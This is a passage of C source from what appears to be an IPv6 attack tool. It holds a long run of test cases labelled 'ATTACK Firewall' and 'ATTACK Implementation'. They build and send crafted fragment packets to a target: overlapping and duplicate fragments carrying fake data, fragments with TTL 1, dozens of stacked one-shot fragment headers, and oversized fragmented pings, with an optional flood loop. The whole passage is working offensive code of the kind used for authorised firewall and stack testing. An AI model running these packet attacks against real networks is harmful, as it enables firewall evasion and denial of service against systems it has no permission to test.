while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK Firewall %d - resending fragments with different data " "within stream (1st real, 2nd ttl 1)\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); hdr = (thc_ipv6_hdr *)pkt; pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf( " Sending duplicate second fragment with real data and ttl=64\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending second fragment with fake data and ttl=1\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 1, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore // printf("Now sleeping for 1 second\n"); if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK Firewall %d - resending fragments with different data " "within stream (1st real)\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); hdr = (thc_ipv6_hdr *)pkt; pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending duplicate second fragment with real data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending second fragment with fake data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore // printf("Now sleeping for 1 second\n"); if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK Firewall %d - resending fragments with different data " "within stream (2nd real)\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); hdr = (thc_ipv6_hdr *)pkt; pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment with fake data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore // printf("Now sleeping for 1 second\n"); if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending duplicate second fragment with real data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK Firewall %d - resending fragments with different data " "after completion\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending duplicate second fragment with fake data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK Firewall %d - overlapping third fragment into second with " "valid data\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); hdr = (thc_ipv6_hdr *)pkt; pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment overlapping into second\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101 - 128 / 8, 0, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808 - 128, 400 + 128); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400 + 128)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK Firewall %d - overlapping third fragment into second\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); hdr = (thc_ipv6_hdr *)pkt; pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); memset(buf + 400 - 128, 'Z', 128); // bad data we overwrite in next packet if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment overlapping into second\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101 - 128 / 8, 0, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808 - 128, 400 + 128); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400 + 128)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK Firewall %d - overlapping second fragment into third\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); hdr = (thc_ipv6_hdr *)pkt; pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending third and final fragment - but not the last\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); memset(buf, 'Z', 128); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment overlapping into third\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400 + 128); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400 + 128)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK Implementation %d - one shot fragment\n", count); if (flood == 0 || curr == 0) printf(" Sending one-shot fragment ping\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_oneshotfragment(pkt3, &pkt_len3, 0xfacebabe + count + curr) < 0) return -1; thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0, 0xfacebabe + count + curr, (unsigned char *)&bla, sizeof(bla), 0); thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK Implementation %d - double one shot fragments\n", count); if (flood == 0 || curr == 0) printf(" Sending double one-shot fragments ping\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_oneshotfragment(pkt3, &pkt_len3, 0xaaaa0000 + count + curr) < 0) return -1; if (thc_add_hdr_oneshotfragment(pkt3, &pkt_len3, 0xbbbb0000 + count + curr) < 0) return -1; thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0, 0xfacebabe + count + curr, (unsigned char *)&bla, sizeof(bla), 0); thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK Implementation %d - 137 one shot fragments\n", count); if (flood == 0 || curr == 0) printf(" Sending 137 one-shot fragments ping\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 137; i++) if (thc_add_hdr_oneshotfragment( pkt3, &pkt_len3, 0xffff0000 + i + count + (curr << 7)) < 0) return -1; thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0, 0xfacebabe + count + curr, (unsigned char *)&bla, 120, 0); thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK Implementation %d - 175 one shot fragments\n", count); if (flood == 0 || curr == 0) printf(" Sending 180 one-shot fragments ping\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 175; i++) if (thc_add_hdr_oneshotfragment( pkt3, &pkt_len3, 0xffff0000 + i + count + (curr << 7)) < 0) return -1; thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0, 0xfacebabe + count + curr, (unsigned char *)&bla, 8, 0); thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { memset(lbuf, only % 256, sizeof(lbuf)); if (flood == 0 || curr == 0) printf( "ATTACK Implementation %d - sending 65486 bytes in 54 fragments\n", count); if (flood == 0 || curr == 0) printf(" Sending 54 fragments ping\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0, 0xfacebabe + count + curr, (unsigned char *)&lbuf, 65486, 0); thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore hdr = (thc_ipv6_hdr *)pkt3; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1232); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { memset(lbuf, only % 256, sizeof(lbuf)); if (flood == 0 || curr == 0) printf( "ATTACK Implementation %d - sending 65495 bytes in 54 fragments\n", count); if (flood == 0 || curr == 0) printf(" Sending 54 fragments ping\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0, 0xfacebabe + count + curr, (unsigned char *)&lbuf, 65495, 0); thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore hdr = (thc_ipv6_hdr *)pkt3; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1232); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { memset(lbuf, only % 256, sizeof(lbuf)); if (flood == 0 || curr == 0) printf( "ATTACK Implementation %d - sending 65535 bytes in 54 fragments\n", count); if (flood == 0 || curr == 0) printf(" Sending 54 fragments ping\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0, 0xfacebabe + count + curr, (unsigned char *)&lbuf, 65535, 0); thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore hdr = (thc_ipv6_hdr *)pkt3; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1232); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { memset(lbuf, only % 256, sizeof(lbuf)); if (flood == 0 || curr == 0) printf( "ATTACK Implementation %d - sending 66920 bytes in 47 fragments\n", count); if (flood == 0 || curr == 0) printf(" Sending 47 fragments ping\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0, 0xfacebabe + count + curr, (unsigned char *)&lbuf, 66920, 0); thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore hdr = (thc_ipv6_hdr *)pkt3; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1438 - offset); // ignore return code if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK Implementation %d - replacing fragments with new, " "different data\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment with fake data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf( " Sending duplicate second fragment with real data and ttl=64\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK Implementation %d - replacing fragments with new, " "different data\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf( " Sending duplicate second fragment with real data and ttl=64\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending second fragment with fake data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 